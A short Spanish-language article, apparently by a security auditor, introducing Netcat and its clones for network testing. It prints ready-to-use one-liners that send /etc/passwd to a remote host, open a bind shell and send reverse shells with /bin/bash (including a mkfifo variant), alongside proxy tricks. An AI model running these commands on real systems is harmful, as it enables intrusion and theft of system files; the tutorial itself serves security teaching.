Netcat es una utilidad proveniente del mundo del hacking que se ha convertido en una herramienta imprescindible para muchos administradores de redes y sistemas.

Definida por algunos como la navaja suiza del TCP/IP, Netcat es una herramienta de red que permite enviar y recibir conexiones TCP y UDP desde línea de comandos y redirigir el input/output hacia otros comandos.

Esta versatilidad la convierte en muy útil a la hora de realizar pruebas de seguridad o simulacros de intrusión. Permitiendo por ejemplo:

Enviar un fichero a un equipo remoto
cat /etc/passwd | nc -v 1.1.1.1 666

Abrir una shell en un puerto
ncat -v -l 1111 -c “/bin/bash -i 2>&1”

Enviar una shell a un equipo remoto
ncat -v 1.1.1.1 666 -c “/bin/bash -i 2>&1”

* Si la versión de Netcat no permite invocar comandos directamente, podemos utilizar un fichero de FIFO:
mkfifo pipe
/bin/bash -i < pipe | nc -v 1.1.1.1 666 > pipe

Hacer de proxy directo (aceptar una conexión entrante y abrir una conexión saliente)
ncat -v -l 1111 -c "ncat www.google.es 80"

* Si la versión de Netcat no permite invocar comandos:
mkfifo pipe
nc -v -l 1111 < pipe | nc www.google.es 80 > pipe

Hacer de proxy combinado (p.e. unir 2 conexiones salientes o 2 conexiones entrantes)
ncat -v -l 1111 -c "ncat -l 2222"

* Si la versión de Netcat no permite invocar comandos:
mkfifo pipe
nc -v -l 1111 < pipe | nc -l 2222 > pipe

* Y si tampoco disponemos de FIFO podemos utilizar el comando “tail”:
echo -en "" > pipe.txt
tail -f pipe.txt | nc -v -l 1111 | nc -l 2222 > pipe.txt

A partir del Netcat original y como muestra de su éxito se han creado varios clones con mejoras y nuevas funcionalidades, por ejemplo: permitir conexiones cifradas, uso de proxies, conexiones múltiples, IPv6, etc.

Los clones más populares son:
Netcat (original)
GNU Netcat
Ncat
Sbd
Socat
SslNetcat
Pnetcat
Cryptcat

Aunque muchas distribuciones de Linux llevan ya incluida alguna de estas herramientas de forma que ni siquiera necesitaremos instalarla.

Ramón Pinuaga
Dpto. Auditoria S21SEC